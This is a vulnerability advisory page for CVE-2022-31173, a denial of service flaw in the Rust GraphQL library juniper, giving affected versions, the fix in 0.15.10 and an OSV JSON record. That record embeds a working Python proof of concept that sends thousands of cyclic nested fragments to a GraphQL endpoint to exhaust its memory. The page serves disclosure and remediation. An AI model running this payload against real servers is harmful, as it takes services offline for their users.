CVE-2022-31173: Juniper Denial of Service Vulnerability
HIGHCVE-2022-31173 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Juniper libraries in the crates.io ecosystem. The issue involves juniper is vulnerable to @dos graphql nested fragments overflow. Remediation is available by upgrading affected packages to version 0.15.10.
CVE-2022-31173 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2022-31173
To remediate this vulnerability, upgrade all affected Juniper dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade juniper to 0.15.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for juniper
How to Check if You Are Affected
To determine whether your application is affected by CVE-2022-31173, inspect your project dependencies for Juniper:
inspect dependencies for juniper
Analyze the terminal output to locate any version of Juniper in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.15.10), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Juniper, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2022-31173 Affected Juniper Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
juniper
|
crates.io |
< 0.15.10
|
0.15.10
|
References
Frequently Asked Questions
What is CVE-2022-31173?
Which Juniper versions are affected?
What version fixes CVE-2022-31173?
Is juniper affected?
What is the CVSS score of CVE-2022-31173?
What CWE is associated with CVE-2022-31173?
How can I check crates.io dependencies for CVE-2022-31173?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4rx6-g5vg-5f3j",
"modified" : "2022-07-29T22:29:22Z",
"published" : "2022-07-29T22:29:22Z",
"aliases" : [ "CVE-2022-31173" ],
"summary" : "Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow",
"details" : "### GraphQL behaviour\n\nNested fragment in GraphQL might be quite hard to handle depending on the implementation language.\nSome language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.\n\n```graphql\n# Infinite loop example\nquery {\n ...a\n}\n\nfragment a on Query {\n ...b\n}\n\nfragment b on Query {\n ...a\n}\n```\n\n### POC TLDR\nWith max_size being the number of nested fragment generated.\nAt max_size=7500, it should instantly raise:\n\n\n\nHowever, with a lower size, you will overflow the memory after some iterations.\n\n### Reproduction steps (Juniper)\n\n```\ngit clone https://github.com/graphql-rust/juniper.git\ncd juniper\n```\n\nSave this POC as poc.py\n\n```python\nimport requests\nimport time\nimport json\nfrom itertools import permutations\n\nprint('=== Fragments POC ===')\n\nurl = 'http://localhost:8080/graphql'\n\nmax_size = 7500\nperms = [''.join(p) for p in permutations('abcefghijk')]\nperms = perms[:max_size]\n\nfragment_payloads = ''\nfor i, perm in enumerate(perms):\n next_perm = perms[i+1] if i < max_size-1 else perms[0]\n fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'\n\npayload = {'query':'query{\\n ...' + perms[0] + '\\n}' + fragment_payloads,'variables':{},'operationName':None}\n\nheaders = {\n 'Content-Type': 'application/json',\n}\n\ntry:\n response = requests.request('POST', url, headers=headers, json=payload)\n print(response.text)\nexcept requests.exceptions.ConnectionError:\n print('Connection closed, POC worked.')\n```\n\n```\ncargo run\n[in separate shell] python3 poc.py\n```\n\n### Credits\n\n[@Escape-Technologies](https://escape.tech)\n\n@c3b5aw \n@MdotTIM \n@karimhreda \n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "juniper"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.15.10"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-31173"
}, {
"type" : "WEB",
"url" : "https://github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb"
}, {
"type" : "WEB",
"url" : "https://github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/graphql-rust/juniper"
}, {
"type" : "WEB",
"url" : "https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28"
}, {
"type" : "WEB",
"url" : "https://rustsec.org/advisories/RUSTSEC-2022-0038.html"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-674" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2022-07-29T22:29:22Z",
"nvd_published_at" : "2022-08-01T19:15:00Z"
}
}